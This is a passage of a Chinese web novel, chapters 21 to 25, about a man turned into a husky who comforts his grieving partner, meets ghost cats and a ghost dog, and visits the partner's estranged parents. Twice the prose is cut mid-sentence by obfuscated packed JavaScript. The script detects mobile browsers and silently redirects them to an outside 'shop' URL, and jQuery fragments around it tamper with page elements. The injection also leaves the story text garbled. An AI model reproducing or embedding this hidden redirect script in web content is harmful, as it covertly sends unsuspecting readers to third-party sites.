这个道理应该不是很难,但很多家长却颠倒了两件事的重要性,一厢情愿地觉得“不能影响考学”优先级更高,却完全没意识到当事人好像并不这么想。 医院的护士匆匆赶来,制止了这场争吵。喻熙的妈妈去提前准备后事需要的东西,只剩闵嘉胥坐在医院的长凳上,半晌后轻声道:“哥。” 喻熙转过头看他,一双漂亮的眼睛泛着红,脸上的泪痕有些狼狈不堪。 这也是闵嘉胥第一次看喻熙哭得这么难受。 走廊上的人不多,闵嘉胥对喻熙张开手,绞尽脑汁思考了半天,又蹦出来一个字:“抱。” 喻熙看着他,半晌后有些无奈地叹了口气。 闵嘉胥“啧”了一声,又去拉他的手。 喻熙忽然觉得他和教授也挺像的,在他生气的时候会做这种小动作哄他开心。 闵嘉胥就这么拉着喻熙的手,两人一站一坐僵持了半晌,喻熙轻声道:“你陪我去看看他呗。” 其实比起爸妈来说,闵嘉胥也更熟悉喻熙的外公外婆。高中时他来喻熙家蹭饭,最喜欢蹭的就是喻熙外公包的饺子,皮薄馅大,去上大学后他还惦记着。 但是好像再也吃不到这个味道的饺子了。 这么想着,他也眼圈一红,紧紧扣住了爱人的手。 进ICU探视要穿隔离服。他手忙脚乱地给自己穿好,又去帮喻熙穿。 ICU里的小老头短短几天就变得脆弱干瘪,枯枝似的躺在床上,只剩“滴滴”响的仪器昭示着他微弱的生命体征。 喻熙没哭,也没说话,就这样静静地看着他,直到护士提示他们探望的时间到了。 “我以为我会习惯,”晚上吃饭的时候,喻熙轻声说,“但是好像......好像没法习惯。” “一直活生生的人就那么静静地躺在那里,我觉得我没法习惯,我......” 他的声音变得哽咽,深呼吸了几次才将泪憋了回去,眼眶红红的,饭也没吃下几口。 “哥,想哭就哭吧,”闵嘉胥说,“我在呢,没事的。” 那天喻熙到底还是把所有眼泪都憋了回去,而也正是那天后,喻熙回家的次数越来越少、 直到教授走后,喻熙就几乎不回家了。 ......< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929324|135332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 闵嘉胥低吠了两声,伸手去抓喻熙的裤脚。喻熙回过神看向他,镜片遮掩下的双眸显得有些哀伤。 他把爪子搭在喻熙的膝上,舔了下嘴巴,用头蹭着喻熙的腿,试着用自己的方式安慰他。 喻熙似乎没有察觉狗的心思,只低声道:“是不是饿了?我给你开个罐头。” 他说着站起身,胃却忽然抽搐着痛了下。 本来想着回家就吃饭来着,但没想到亲妈的一通电话硬控了他一个多小时。 事实上每次和家里的人通电话,对他来说都无异于一次内耗十分严重的拉锯战。 他知道父母有自己的立场,父母确实是想让自己去更好的学校读研,但他就是觉得这是不对的,以致于成为了一直以来的心结,每次试着退一步觉得要不算了和好吧都这么多年了时,他总会想起没来得及和外公说的那些话。 哪怕学了这么长时间的医,他很多时候也会不断地思考,难道这个世界上还有比死别更严肃的事情吗? 喻熙深吸了一口气,给狗开了个德罐。 罐头是上次那个货拉拉司机送的,他家狗挑食,这么好的罐头都不吃,他觉得可惜,就问问喻熙要不要给狗试试。 哈士奇倒是不怎么挑食,但比起罐头好像更喜欢吃人类的食物。 喻熙把剩下的半个罐头放好,给自己倒了杯热水喝了,又找了点面包吃,胃疼缓解了一些,却仍咄咄逼人地侵蚀着他的感官。 他端着那杯热水摇摇晃晃地走到沙发旁,想躺一会儿。按照往常的经验,睡一觉就不疼了。 喻熙闭上眼,听见了狗爪子在地上跑过发出的“哒哒”声。他原本以为是狗跑去吃罐头了,却没想到身边忽然凑过来一团温热的毛绒。 “别闹。” 喻熙微微睁开眼,声音疲惫:“吃饭去。” 哈士奇舔了下他的手,蓝黑鸳鸯眼里满是担忧。 他在喻熙面前安静地站了一会儿,忽然转身跑到了楼上,再下楼时嘴里叼着一个小盒子。 那是他们家的医药盒。 喻熙有些惊讶:“你怎么知道药在这里?” 哈士奇把医药盒放在地上,摇着尾巴看向他,似乎在用目光暗示他快吃药。 喻熙微微欠身,从药盒里找出胃药吃了,狗又从旁边拽过来一张毯子给他盖上。 “好狗,”他亲了下狗头,声音有些沙哑,“谢谢。” 哈士奇“汪”了一声,摇摇尾巴,用头蹭了蹭喻熙的头,而后在沙发旁找了个位置趴下。 耳中呼吸的声音逐渐趋于平稳,闵嘉胥这才微微仰起头看向沙发上睡着的人,再一次感受到了做宠物的无奈。 如果他还是人,他可以时时刻刻督促喻熙先吃饭,可以在喻熙难受的时候变着花样照顾他,更不会让他一个人消化掉所有的坏情绪,而不是现在连拿个药都费劲。 狗叹了口气,轻轻把头搭在喻熙的腿上。 笨蛋哥哥,他想。 没有我照顾你可怎么办啊。 22.第 22 章 午夜十二点,闵嘉胥再次经历了那种弥漫全身的灼烧感。 他咬着牙,手撑在地上,近乎抠进了地板缝里,才生生熬了过去,额上渗出了细密的汗珠,浸湿了衣领。 每次深夜的变身都让他这么痛苦,但痛苦换来的是六个小时的自由。 代价还挺不对等的。 闵嘉胥静静地趴伏在地上,等身上的不适感消失后才慢慢起身,长出一口气后看向喻熙。 兴许是因为胃疼,喻熙的脸色依旧苍白,紧紧抿着唇,似乎根本没睡踏实。 闵嘉胥下意识地向前伸了伸脖子,做完这个动作才意识到自己好像已经不是狗了,在几分钟前刚变回人,有手有脚,甚至能立刻去厨房给喻熙煎个蛋做份晚餐。 当狗没到一周,但他觉得自己已经吃完全世界的苦了。 进化是痛苦的,但进化后得到一双能为爱人做饭煲汤的手,那他也是愿意的。 闵嘉胥低头,轻轻亲了下喻熙的侧脸,把刚才拽来的毯子给他盖好。 喻熙在睡梦中翻了个身,整个人蜷缩起来,双臂紧紧地抱着自己,让闵嘉胥无端想起之前见过的,把自己包在毛毯里的小猫。 他的目光柔和下来,又亲了亲喻熙的唇角,忽然有些不想去找唐鸿信了。 经济环境差,许多私企纷纷倒闭,就连游戏行业也不容乐观,这种焦虑毒液一样不知不觉地渗透进他的心里,让他毫无防备地跟着大环境一江春水似的滚滚东流,连停下来歇一歇的勇气都没有。他跟着市场投资,push员工开发新的ip新的项目,好像只有这样才能让他稍微有一些安全感,让他觉得自己没被落下。 在眼下这个时代,“停下”约等于“死去”,简历上空白的一行Gap Year都会被HR翻出来刨根问底,最后被扣上“不上进”的标签。 他好像已经有段时间没这样安静下来,有很多时间陪在喻熙身边了。 其实那个流浪犬舍说是送给喻熙的礼物,又何尝不是他愧疚的补偿呢? 如果他能亲自陪喻熙去看就好了。 闵嘉胥又叹了口气,有些不舍地离开沙发,蹑手蹑脚地上楼,去书房里找自己需要的文件。 今天唐鸿信和他一通卖惨,直言公司不可一日无CEO。闵嘉胥被他磨得心烦,答应他晚上如果自己能变成人就自己去公司,变不成就凌晨一点开车来接。 现在还差二十分钟就凌晨一点了。 闵嘉胥不想唐鸿信白跑一趟,三两下收拾好文件,又从后院翻出去了。 午夜的街道上没有人,仅剩零星的路灯立在路的两旁,散发出幽幽的黄光。夏虫在草丛里絮絮地叫着,让他落在石板上的脚步声格外清楚。 其实闵嘉胥之前经常半夜应酬结束回家,或是送喻熙去上夜班,走夜路也算走习惯了,但自从那天挨了一棒子后,他对夜间的漆黑就有些发怵。 犯罪分子很愿意重返犯罪现场,一是观察自己是否留下了痕迹,二是欣赏自己的犯罪结果。 但闵嘉胥没死,他也不知道那个人会不会多次在午夜时分回到这个小区寻找那晚的尸体,万一现在就躲在某处看着他呢?万一...... 兴许是听见了他心里的胡思乱想,一阵细小的骚动声忽然从灌木丛里传出,让他的脚步顿了下。 闵嘉胥有些神经紧张地望向灌木丛,树影摇晃后,里面钻出来两道影子。 是两只猫。 一只半个身子都是黑的,四个爪子却白得像雪。另一只身上三种色块分明,应该是只小三花。 猫啊。 闵嘉胥不由自主地松了口气,可下一秒却发现事情好像又不对起来—— 跑出来的两只猫没有被他吓到,反而静静地站在原地看着他,周身散发着一阵白莹莹的光泽。 他尝试着向两只猫靠近,可猫依旧不躲不闪,继续看着他。 小区里好像是没有猫的,闵嘉胥忽然想到了这个问题。 前段时间说是整改小区环境,给业主更舒适的居住体验,小区物业特意叫了保洁公司来。那天闵嘉胥早早从公司回来,想着好久没自己做饭吃了想顺便买个菜,还没进小区,就看见几个穿着统一服装人正拿着网子扑猫。 小区里原先流浪猫不少,有挺多希望小猫的人自发地带着流浪猫做过绝育剪了耳,每天晚上定时定点在楼旁放饭喂,所以这些猫的流浪感也不是那么强,反倒是像小区业主散养的猫咪。 可是小区的整洁和这些散养猫咪有什么关系呢?平时如果不是熟悉的人来喂食,这些猫咪压根就不会主动出现。 一个老奶奶站在他旁边,也看着被抓进网兜里惨叫的猫咪,有些不忍地摇了摇头:“上周有人打电话投诉,让物业抓猫。物业不想多事就没管,但是前天有人投毒把猫毒死了,家长担心小孩误食,物业这才喊人来抓猫。” 闵嘉胥和她相对无言了半晌,还是默默挪动脚步,从提着几只猫的清洁工人身边经过,听见平时慵懒地躺在自家后院里的猫发出婴儿般凄厉的惨叫。 那天晚上喻熙回家的时候,顺口提了一句:“今天有些怪啊。” 闵嘉胥正从锅里往外盛面条,闻言抬眸望向他:“哪里奇怪?” “你还记得院子里有块砖能被翘起来吗?” 喻熙一边换衣服一边说:“前段时间有只狸花带着一家子住进去了,我还给送过一点吃的,但是今晚没看见他们啊。” 闵嘉胥拿着碗的手顿了下,半晌后轻声道:“可能......可能他们搬走了,吃饭吧。” ...... 那天的事喻熙没多想,也没深究,于是他也理所应当地把这件事忘了,而那些小猫被抓去哪里也不得而知。 虽然物业对外说是去了流浪猫收容机构,可闵嘉胥今年接触这类机构后才发现,其实压根就没多少个靠得住的机构,全凭爱心人士一腔热血地为爱发电。 闵嘉胥不知道这两只小猫是怎么在那样大规模的抓捕下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964258|135332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下来的,下意识地蹲下身,伸手想去摸摸小猫头,手却从小猫的身体处穿过去了。 他愣了下,有些不可思议地看向自己的手,发现好像切实地察觉到了一丝不同寻常的凉意。 凉意来自于刚刚碰到的小猫。 三花猫和奶牛猫像没看见他一样,自顾自地转过身,互相舔起毛来,尾巴一甩一甩地在地砖上敲打,却没发出任何声响。 这不是小猫,闵嘉胥想。 这是小猫鬼。 他站起身,沿着路继续向前走,一个又一个带着荧光的小猫影子悄无声息地从灌木里面,墙砖后面,垃圾桶旁边冒出来。如果忽略掉周身莹白色的微光,简直和正常的小猫没有任何区别。 他们在跑跳,打闹,和从前一样躺在墙上晒太阳,给自己的爪子做美甲,又或是带着好奇的目光望着树梢,似乎在盯伏那里藏着的飞鸟。 这是闵嘉胥上次出门时没见过的世界。 换句话说,他周围都是小猫的幽灵。枉死别处的小猫迷路了,于是选择回到这个曾感受过爱的小区,像从前一样继续生活。 只是他们好像永远也晒不到太阳了。 闵嘉胥莫名觉得眼眶有些酸,胡乱地抹了把脸,匆匆别过头去。 他想起喻熙读研的时候曾和他看过一部恐怖电影,讲的幽灵杀人事件,挺猎奇挺血腥的。他有点接受无能,喻熙倒是看得入迷,结束时还有些意犹未尽。 闵嘉胥随口道:“这么喜欢这部电影?原来哥爱看恐怖片。” “也不是。” 喻熙猫似的伸了个懒腰,懒洋洋地开口:“就是在想......如果真有幽灵就好了。” “你认真的吗?”闵嘉胥忧心忡忡,“我看个电影都背后发凉,如果真有幽灵估计会被吓死吧,哥你一点不怕吗?” “网上不是说么,你怕的幽灵可能是别人朝思暮想再也见不到的人,”喻熙支着下巴,目光有些放空,“如果......如果是小猫鬼小狗鬼就一点也不可怕。 他顿了顿,声音有些失落:“如果是教授的小幽灵来了,那我肯定开心啊。” ...... 喻熙说的没错,小猫鬼一点也不可怕。 这样一个充满幽灵的世界里,闵嘉胥却没感受到一丝一毫的害怕,反而是这些发着光跑来跑去的小东西给了他不少走夜路的勇气。 小区的侧门就在前方,他正要从衣服口袋里摸出门禁卡开门,忽然听见了一道轻盈的犬吠声从身后传来,像一道嘹亮的哨歌划破了无声的夜幕。 狗叫? 谁家的狗大晚上叫? 闵嘉胥回头,蹙眉循声望去,发现在一片浓郁的黑夜里,在小猫鬼发出的星星点点的荧光里,一道也有着白色荧光的影子正慢慢向他走来。 等影子走到近处,闵嘉胥才发现,他的形状与样貌和周围的小猫格格不入。 这是一只小狗的影子。 这好像是一只小狗鬼。 23.第 23 章 闵嘉胥和那只狗就这样静静地站在原地,相互对视了片刻,谁也没先上前一步。 闵嘉胥觉得他能看见自己。 和其他灵魂形态的猫不一样,这只狗好像可以清晰地看见自己,所以在离他不远的地方停了下来。 闵嘉胥尝试着开口叫他:“嘬嘬嘬。” 狗歪头看了看他,似乎在对他发出的声音表示疑惑。 真的能听到。 闵嘉胥莫名觉得有些开心。 他当狗有一段时间了,已经从一个完全的唯物主义者变成了唯心主义者,甚至现在能很容易地接受世界上有小猫鬼和小狗鬼的事情。 哪怕这只小狗鬼能和他互动,也是很正常的事。 他微微放大了声音,又“嘬嘬嘬”了一次。 狗这回似乎确信了闵嘉胥的“嘬嘬嘬”是在叫自己,微微眯起眼,露出了一副称得上“困惑”的表情,似乎在问闵嘉胥—— 你在喊我? 闵嘉胥忽然觉得这个表情有些熟悉,他似乎在哪见过。 变成幽灵的小狗身上的毛色就不是那么明显,让他看不太清是什么品种的狗。 路边的小猫依旧自顾自地嬉戏打闹,而那只狗则不紧不慢地走到了闵嘉胥身边,上下打量了一下他,不动声色地撇开了目光。 闵嘉胥几乎十分直观地在一只狗的身上看见了“鄙视”两个字。 一只狗在鄙视他什么? 闵嘉胥觉得自己和这只狗有点八字不合,转身想走自己的路,却见那只狗溜溜达达地走到了他前面。 一人一狗就这么沉默又有默契地往小区外走去。闵嘉胥无数次想看清狗身上毛发的花纹,可那莹白色的光有些刺眼,让他看不清楚。 还挺神秘的,他想。 小区里有什么枉死的小狗吗? 那年买房的时候这还是个全新的小区,他们住了十年,大概发生过什么事几乎都有点了解,没听说过谁家的狗死在小区里了。 不一定是业主的狗,也有可能是外面跑进来的小狗。 闵嘉胥还没想明白,就见一束车灯的白光扫了过来。 唐鸿信按照两人约定的时间来小区门口接他了,看着闵嘉胥迟迟不上车,有些奇怪:“哥,上车啊,愣着干什么?” 闵嘉胥看了眼身后,狗在离他不远处坐下,慢条斯理地舔了舔自己的爪子,而后抬头静静地看着他。他试着往前走了几步,狗却仍看着他,好像没有继续往前走的意思了。 是不能离开这个小区,还是不想再继续往前走了? 唐鸿信看了眼保安室,有点担心。 这么晚了,他们两个鬼鬼祟祟地站在大门口,进也不进去,出也不出来。门卫好像去巡逻了,这要是被发现了估计要被当成小偷。 而且闵嘉胥变人的时间就那么短,错过了工作又要堆着没法处理了。 “哥,你快点啊,”唐鸿信心里着急,“一点二十了。” 闵嘉胥忽然转头,敲了敲他的车窗,问他:“小唐,你往我这边看。” 唐鸿信拧着眉向车窗外看去,却只看见了一片漆黑:“看了,怎么了?” “你能看见什么?”闵嘉胥问他。 唐鸿信以为这是闵嘉胥对他的考验,认认真真地看了半天后得出结论:“什么也看不到啊。” “真的吗?” 闵嘉胥循循善诱:“有没有看见小动物之类发着白色荧光的东西?” 唐鸿信摇了摇头,忽然打了个寒颤:“不是哥,你别吓唬我,我真什么都看不见啊......” 闹鬼了这不是? 闵嘉胥叹了口气:“行吧,走吧。” 唐鸿信后背发凉,又冲着闵嘉胥来的方向看了好几眼,依旧什么都没看到。 “哥,你压力别太大,”他说,“其实......其实你要是没空处理公司的事,我帮忙也行。” 闵嘉胥摇摇头,打开副驾的门上了车:“刚才有小区里的流浪狗跟着我,我就想着他要是还在跟,我就带去公司给他喂点吃的。” 他说这话的时候一直看着那只小狗鬼,对方也在看着他。 所以刚才那段路,是在护送他吗? 闵嘉胥吸了吸鼻子,看着小狗的身影渐渐消失在黑暗里,觉得还挺感动的。 但他是谁家走丢的小狗呢? *** 喻熙是被阳光晃醒的。 望海虽然入夏了,但雨季仍迟迟未来,每天早上都天亮得很早。 他捂着眼睛打了个哈欠,想起来自己昨晚是因为胃疼才睡着的。胃疼的话睡一觉就好了,这是他从研究生开始就习得的技巧。 他抬了抬手,让手机亮起屏,才意识到今天是周末。 也就是昨天他妈妈打电话所说的“这两天总要回家”的“这两天”。 在一个城市里,但是连续几年都不怎么回家的估计也就独他一份了。 喻熙蜷缩着身子躺在沙发上,怀里抱了个抱枕,百无聊赖地打开朋友圈翻了翻,发现陈生又在骂人。 【陈生:到底是哪个畜生天天偷老鼠?被我逮住了一定要他给我跪下来道歉!】 又丢老鼠了? 喻熙值班的时候倒是没遇到过小鼠丢失的事。 有些不愉快的早上被陈生的一条朋友圈稍微活跃了下气氛,他翘起嘴角,正要回复对方的朋友圈,一阵“哒哒哒”的声音从玄关处传来。 哈士奇嘴里叼着饭盘,像一匹小马一样走了过来,把饭盘放在地上,呜呜嘤嘤地不知道在说些什么。 “饿了?” 喻熙撑着沙发起身,赤着脚站在地上,一步一晃地去给狗放饭,却被狗拦在了身前。 狗抬起爪子,在空中比比划划地乱挥了半天。喻熙蹙眉低头看着他,不知道他的诉求是什么。 哈士奇似乎很急,用爪子轻轻拍了下喻熙的腰,而后又向厨房的方向指去。 喻熙恍然:“哦,你想吃牛排了?” 狗“呜呜”地叫了两声,富有喜感的一张脸上适时地出现了“困惑”和“无语”两种混杂在一起的表情。 喻熙挑眉。 他这是让哈士奇感到无语了吗? “不想吃算了,”他说 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这么多年来两方人马一直想用自己的观点说服对方,到头来还是喻熙的妈妈先服软,说他只要肯多回家就行,但喻熙还是不想回家。 他觉得自己和家人之间已经隔了一层“可悲的厚障壁”,已经回不到从前了。他心里有根刺,他爸妈和那群亲戚心里也有根刺,但又因为实在有亲情在,所以才一直拉拉扯扯的,分家都分不明白。 当人好累,他想。 喻熙看了眼趴在饭盘前吭哧吭哧吃鸡胸肉的狗,觉得还是当狗好,不用想这么多乱七八糟的事,天天吃玩睡心情超好。 哈士奇似乎注意到了他的目光,抬头“汪”了一声,尾巴又像螺旋桨一样摇了起来。 “我明......今天出门,回趟家,”喻熙犹豫了下,还是决定今天就回家,主打一个早去早回,“应该明晚回来,你在家里好好看家,不许捣乱。” 似乎听懂了他说的话,哈士奇两只耳朵明显竖了起来,连鸡胸肉都不吃了,一溜小跑到他面前,两只爪子往他腰上一搭,目光十分坚毅。 喻熙皱眉:“干嘛?” 狗看着他的目光灼热,爪子微微用力,按到了他腰上的某个位置,让他倒吸一口凉气,冷声道:“爪子放下去。” 哈士奇的目光变得有些委屈,却不肯轻易让步,伸着舌头轻轻舔着喻熙的手腕,一边舔他,一边抬眼看向他。 这种细密的痒是喻熙最招架不住的。 “别闹......唔。” 喻熙刚想把手抽走,狗的爪子却按在了他的小臂上。 “那你想做什么?”喻熙泄了气,头疼地看向狗,“少爷,说吧,你有什么诉求?” 狗听见他问的话,立刻把爪子撤走,回头跑到玄关处又跑回来,嘴里叼着项圈和牵引绳。 这回狗的动作清晰明了,倒是让人马上就理解了他的意思。 喻熙开口,试探着问道:“你是想......你是想陪我一起回家吗?” 24.第 24 章 教授是条很聪明的狗,但哪怕再聪明,也几乎不会主动拿项圈过来要喻熙给他戴上。 一般来说小狗都很追求自由,不会有哪只小狗叼着项圈过来眼巴巴地要人给自己戴上,至少喻熙没见过,眼前这只哈士奇还是第一只。 “真的想和我一起去?” 喻熙伸手,将项圈勾过来。项圈搭在他的指节上,轻轻用力转了个圈:“这么主动要戴项圈?” 狗蹲坐在地上仰着头,一双亮晶晶的眼睛看向他,眼中满是期待。 喻熙又问了一遍:“要和我回家吗?” 他家原来养过狗,带狗回去问题不大,不会惹出什么不愉快,还能趁机恐吓一下多嘴的亲戚,也算好事。 而且他买的宠物摄像头还没到,放一只狗在家待两天他不太放心。 哈士奇又“汪”了一声,爪子在地上踱了两下。 “行。” 喻熙弯下腰,给狗戴上项圈:“那这次带你回去。” 哈士奇听见他同意了,立刻在原地蹦了起来,“汪汪”叫着又向他身上扑来,把喻熙按在了地上。 犬类动物灼热的呼吸喷洒在喻熙脸侧,让他下意识地避开了狗的鼻息。他想把狗推开,却发现狗的爪子像钳子似的扣在他的腰旁,根本掰不开。 他再一次感受到了大型犬的力量,心头忽地泛起一阵异样,微微仰起头,眯着眼警告道:“放开我。” 狗像是听不懂他的话,专心致志地舔他露出来的脆弱的脖颈。 喻熙忽然有种错觉—— 这只狗舔他的方式好像在吃掉撞在盘子里的美味。 这种想法让他有些莫名地害怕,不得不加大了呵斥的声音:“听不懂我说的话么?” 狗“呜呜”地叫着,似乎被他的喊声吓着了,委委屈屈地皱起眼皮看他,像个被家长训了的小孩子。 可喻熙又清楚地知道对方并不是一个小孩子。 其实他并不明白这只哈士奇为什么会这么喜欢黏着他,哪怕他只是一个萍水相逢捡了他回家的陌生人,而且很多时候做的事又不太像一只狗。 哈士奇似乎不知道他为什么忽然陷入了思索,仍然专心致志地轻轻舔着他,却忽然被人一把捏住了嘴筒子,屁股上挨了不轻不重的一巴掌。 喻熙冷声道:“我再说最后一遍,给我滚下去。” 哈士奇哀嚎了一声,磨磨蹭蹭地挪开了爪子,夹着尾巴灰溜溜地去墙角趴着了。 喻熙换了身衣服,带了点文件放进包里,给狗牵好绳子,临出门前回头看了眼房子,不由得轻叹一声。 往年这个时候回家都是闵嘉胥陪他,现在闵嘉胥人在外国,只能靠他自己了。 还有狗。 喻熙低头,看见狗已经兴致勃勃地开始在石板路旁边挖坑,忍不住又叹了口气。 感觉这狗护不了主,他想。 真是和闵嘉胥一样不靠谱。 *** 喻熙的家和现在住的地方在两个方向相反的区,他担心有些网约车司机害怕大型犬,于是索性又喊了上次帮忙拉狗去医院的货拉拉司机帮忙。 “这狗养得好啊。” 喻熙一上车,他就赞不绝口地夸了起来:“毛油光水滑的,一看手感就特别好。是不是胖了?伙食好必须得胖啊。” 司机和望海市其他司机一样健谈,载客的时候从不担心没话聊。 这狗捡到的时候就已经是这个体格了,喻熙想。 好像和他的喂养方式完全没有关系。 “......我家的狗也是,吃得好胖得快,”司机不需要喻熙理他也能继续聊下去,“最近我姑娘又给他买了罐头,天天到吃饭的时候就缠着我媳妇儿要罐头,狗豆子他已经不吃了,这都是惯出来的,饿一顿就都好了。” 喻熙忍不住笑了下:“您舍得饿吗?” 司机嚣张的气焰肉眼可见地消失了一半,“嗐”了一声:“哪舍得啊,这都算我们家二胎了。” 喻熙微微有些动容。 货车司机的后视镜上挂着一个古铜色的转经筒挂件,旁边有张放在亚克力框里的照片,照片上的中年男人笑得特别灿烂,伸手揽着两个人,身前蹲着一条狗。 应该是他的妻子和女儿。 喻熙忽然有点羡慕这样的家庭氛围,轻声说:“您的家庭氛围真好。” “哪好了,刚破冰和好没多久呢。” 司机说:“就上次为了报志愿的事和姑娘吵了一架,人家说要学新闻,要给社会做贡献,我说那学新闻的万一真跟什么大案要案多危险,还是学个小语种什么的,将来当个翻译也挺好。给她说生气了,发消息不回在家也不跟我说话。” “后来呢?”喻熙问,“怎么和好的?” “总得有个人低头啊,”他说,“父母和子女么,其实就是上辈子互相欠了乱账,这辈子都是来给彼此还账的。” 司机打了个方向盘,车停在了街旁:“再往里进不去了,就送到这儿?” 喻熙和他道了谢,付过钱后牵着睡眼惺忪的哈士奇下了车,拐进了那条小路。 这片房子算是老城区,每年都谣传要拆迁,但每年都没有要拆的意思,依旧安安稳稳地扎根在原地,仍保留着岁月的痕迹。 狗爪子轻轻叩在地上,发出“哒哒哒”的声音。喻熙看着眼前被阳光晒得反光的地砖,忽然意识到很多年前,他也是这样和教授从这条路走回家的。 他忽然俯下身,将扣在项圈上的牵引绳解开,拍了拍哈士奇的头:“自己能走吗?” 哈士奇“呜”了一声,加快脚步向前走了两步,而后回头望向他,似乎在催他快点跟上。 “小喻回来了?” 一道语气中带着意外的声音响起,喻熙循声望去,怔了一下,有些不自在地和老邻居打了个招呼:“李婶好。” “好久没见你回来了,是不是特别忙啊?” 李婶两只手上提着装满了蔬菜的塑料袋,热情地招呼他:“来我家坐坐吧!” 哈士奇似乎看出了他的不自在,又“哒哒哒”地跑回来,挡在了喻熙身前,像是在保护他。 李婶的注意力被狗吸引了,有些惊讶:“这是你新养的小狗吗?” 喻熙点点头,轻声道:“李婶,我是回 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喻熙有些哭笑不得,伸手拍了下狗的脑壳:“走了,丢不丢人。” 但闵嘉胥不想走。 好不容易变成狗了,当狗的一切福利他都要享受到。 他假装没听见喻熙的话,继续抬头笑着看向摊主,翘着尾巴摇来摇去,蓝黑鸳鸯眼里满是期待。 “你说这日子过得真快啊,这一晃十年要过去了,过去你还是个小娃娃呢。” 摊主笑着切了西瓜,放在塑料盒里,插上牙签递给喻熙:“吃吧,天热解解暑。” 喻熙拿着手机想付款,对方却拒绝了:“要什么钱啊,这都多少年的邻居了,不要钱不要钱。” 两人在摊位前你来我往刀光剑影地争执了半天,最终还是喻熙败下阵来,端着一盒西瓜离开了水果摊。 哈士奇心满意足地长嘴,接住了两块西瓜,狼吞虎咽地吃了,和猪八戒吃人参果似的什么味也没尝出来,又张着嘴和喻熙要水果吃。 “你就吃吧,”喻熙低声说,“蠢狗,丢死人了。” 闵嘉胥有点委屈,从前喻熙可没说过教授丢人,还夸教授聪明呢,怎么到他这儿就没这待遇了? 他不甘示弱,直着后腿蹦起来,想抢喻熙手上的西瓜。喻熙看起来像在躲他,但实则是在逗狗,在狗眼前拴块西瓜就能让狗死心塌地跟在他身边蹦蹦跳跳,等逗够了再自己吃了,就能看见狗更着急了,呜呜嘤嘤地像在骂他。 很久很久以前,教授还在的时候也是这样的,每次小狗来接他放学,他都因为在路上和小狗玩,总要晚十分二十分回家。 好像时间从来没溜走一样。 “熙熙?要回来怎么也不告诉妈一声?” 喻熙脸上还带着浅浅的笑,抬眸便看见他不太想看见的人正站在不远处,似乎比他还要手足无措。 和狗玩得太入迷,没注意到已经走到自家楼下了。 更不巧的是,在他还没做好心理准备时就撞上了亲妈。 他的脸色倏地暗沉了下来,低声道:“嗯,我回来了。” 25.第 25 章 喻熙觉得自己和他爸妈都没什么话讲。 如果说小时候和爸妈的关系是相敬如宾,那么自从那件事后,他们倒是更像井水不犯河水的陌生人, 如果可以,喻熙想和他们当一辈子的陌生人,好过现在彼此之间令人尴尬的安静。 喻母轻咳一声,捋了捋头发:“你要是早告诉我一声,我还能先去买点东西给你做点喜欢吃的。” 喻熙淡淡点了下头,示意她自己听到了。 “这次回来住几天?” 哈士奇跟在这对别扭母子的身后,觉得尴尬得想找个地方上吊算了。 很明显,喻熙一点都不想和自己的亲妈说话,但喻母应该是觉得愧疚,又拉不下脸来道歉,只能没话找话地和喻熙聊天,于是一个人说,一个人当没听见,其实都在隐性地折磨对方。 喻熙看了她一眼,似乎纠结了片刻,最后还是低声道:“一天。” “多住一天呗,”喻母说,“正好也休息一下,天天紧绷着多累啊,你......” “明晚值班。” 喻熙的声音骤然沉了几分,眼中明显地多了不悦的神色:“不是说换班就换班说休息就休息的。” 喻母叹了口气:“唉,当年就不该学医,我和你爸都是学医的,能不知道当医生累吗?每天不是值班就是开会的,再忙就一口水也喝不上,当时就应该报个师范,有寒暑假有周末,那多好啊......” “对啊,我也后悔了。” 说话间,两个人已经走到了家门前,喻熙这会儿才转头看向她:“想救的人还没等我毕业就去世了,确实学医没什么意义。” 他一句话就把喻母的长篇大论都堵了回去,讪讪地看了他一眼,从口袋摸出钥匙打开了门。 闵嘉胥蹭了下喻熙的腿,希望自己能给对方一点小小的安慰。 喻熙的家人对他挺好的,他没读研,大学毕业后往喻熙家跑得勤,和喻母的交流也不少。之前他还挺怕这个表情严肃的牙医,但相处一段时间后发现,其实喻熙的父母都是只会做不会说的类型。 他们从来不亏待喻熙,在力所能及的范围内给喻熙最好的。但是喻熙做梦都想要的宠爱或温情,好像在这个家里是几乎不存在的,因为他们两个根本不会表达。 这好像也是大部分家庭的通病,闵嘉胥想。 喻熙的父亲正坐在餐厅里喝茶,看见喻熙进门后手抖了下,茶撒在了桌面上。 他抿着唇,声音低沉:“回来了?” 但喻熙和他的关系更为恶劣,和妈妈还能说两句话,对爸爸的问候却直接视而不见,目不斜视地径直走进自己的房间,“砰”地一声关上了门。 喻父似乎也习惯了被这么对待,重重地叹息一声,目光落在狗身上,眉心微蹙:“这是哪来的狗?” “小煕带回来的,”喻母说,“你一会儿少说两句,知道吗?” 喻父又看了狗一眼,冷冷地“哼”了一声,算是同意了。 喻熙背靠房间的门,半晌后有些无力地抱臂蹲下,觉得和父母说两句话就已经用掉了浑身的力气。 房间里的东西还维持着老样子没变,他高中时候留下的参考书依旧放在书柜上,被人用一层塑料膜包住了,没落什么灰,就是被阳关晒掉了颜色,有点发黄。一个铺着垫子的狗窝放在飘窗上,垫子微微泛白,被洗掉了颜色。 这是当时教授最喜欢的位置。 